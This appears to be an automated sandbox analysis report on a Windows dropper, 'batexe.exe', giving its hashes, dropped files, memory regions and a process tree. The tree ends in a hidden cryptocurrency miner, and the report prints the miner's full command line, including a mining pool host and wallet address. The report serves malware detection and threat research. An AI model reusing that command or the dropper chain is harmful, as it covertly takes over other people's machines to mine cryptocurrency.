73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
306s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
20/02/2024, 04:44

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4808	b2e.exe
324	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
324	cpuminer-sse2.exe
324	cpuminer-sse2.exe
324	cpuminer-sse2.exe
324	cpuminer-sse2.exe
324	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4884-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4884 wrote to memory of 4808	4884	batexe.exe	73
PID 4884 wrote to memory of 4808	4884	batexe.exe	73
PID 4884 wrote to memory of 4808	4884	batexe.exe	73
PID 4808 wrote to memory of 4568	4808	b2e.exe	74
PID 4808 wrote to memory of 4568	4808	b2e.exe	74
PID 4808 wrote to memory of 4568	4808	b2e.exe	74
PID 4568 wrote to memory of 324	4568	cmd.exe	77
PID 4568 wrote to memory of 324	4568	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4884
- C:\Users\Admin\AppData\Local\Temp\C2B4.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\C2B4.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\C2B4.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4808
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\C803.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4568
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\C2B4.tmp\b2e.exe

Filesize
320KB

MD5
88364d3a1722b83013616c5ae51fd6d7

SHA1
d6727613607431104a14f30001a7e1af8e2bf026

SHA256
70ea586c99e68feae0fd4579a9d93d4e0fd46b623f35b3cdbcf4fca2f6e3e6d4

SHA512
ba46a975471bad7f3aa1f333317fb152eab233934af7d648454cfbf2bd852d7745906fc407c5a4a6c60d78368486587f21aeaf9f12dbdf684de818c8e06a9e43

Download Submit
C:\Users\Admin\AppData\Local\Temp\C2B4.tmp\b2e.exe

Filesize
128KB

MD5
272c54a9b6cdfa558e23cc257343048a

SHA1
7f26d86cf2a3625ce3e70c9cfc9b0cc075b8d5aa

SHA256
1d7e7ea2934d091cb7ab81c31e31b4015e05a9f86b213f9d78b0297c88fb3415

SHA512
5139de29262ba7091e5ab0529232912aea9ca34fdeb16165021d3ccaba1d351abc59f2130eaa6af8c3c0510db5f649095f7043ea837267dc9eb4ce0169fa18ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\C803.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
b465230cf79fcd815a31dad053d1dbe1

SHA1
f1bf5606ba3d1bb49d9437b5ba489fd9e8614ace

SHA256
cd616032256b5c1fdad92cf551a04c9f8fb9292262b19af72c1d8406b8baf865

SHA512
b832fcdf586c0afad6f0fc7dd315ba3ae05d3e49ca730ddba0ac463620afd44215a3e2d3f906de41e4448dd91610b13633148048819156aa27a4ee3155d3e9bd

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.1MB

MD5
d6a2651ce86560ec77259efc3df246fa

SHA1
1e72d8e5049a66e1f257d00847fae193c2f8bb02

SHA256
1703f2c16ca81fd8d53d899d0c191db61af986281cdaf3939e9aafcb2aa377a6

SHA512
eece650394d481935c42793702efa7220ae51d92e50dde346b62026d1946418011f665dabe217b6e775b79d65b7580652299a816961a23880abff400ee14201b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
14d44de2a376b1198061fc01858e2b2d

SHA1
8a1b58e76c5e430eb5ff096dbf2a38f26dca3374

SHA256
8f5659ad955880f7cab780654c4de0e32e7891d156f9c13162c7eca5a930da70

SHA512
bd606f91db78afeee442dca17ee6d96d49af8498d746e622e882ce5350dbe170d089fe9c3e3d58ac533e05a49c97a685087395e74d28499aaf28deef66c3486c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
982KB

MD5
932249e68c2fed7b79ef6efee7658abd

SHA1
200d52d9fe2cb400753406edd8303948cb8d4932

SHA256
3fe16b0b50a34c159de7309c79a2fa0617a57a4d7b97da802f929b89ccc29041

SHA512
9b4aca6b9da1ad6b9926d10953b7eed8c60f6afbc38af2d7f4ca90ea56b4b2210ef5295c52c64061da1082fd2a189d11018334503c4ca75d2a6569a083f62330

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
896KB

MD5
4ece07a08273d0d0db84220926c3d32f

SHA1
d90712e2e643311a963676e87f6afad0c421d895

SHA256
d82c02350e5ca5ebe35d4349a16c3c9986aaecd8be71c05a00b1af09039a4cf3

SHA512
fa010b4c3c0e6d38bb281b4541c0e8b124e05d2feaa6dc11cb6e9c1d85145d5885a5cd61c1bca283f2d9f30295b197343311306acc9d5393aef64793067cdcab

Download Submit
memory/324-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/324-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/324-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/324-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/324-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/324-43-0x00000000677B0000-0x0000000067848000-memory.dmp

Filesize
608KB

Download
memory/324-44-0x0000000001070000-0x0000000002925000-memory.dmp

Filesize
24.7MB

Download
memory/324-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/324-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/324-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/324-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/324-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/324-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4808-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4808-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4884-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download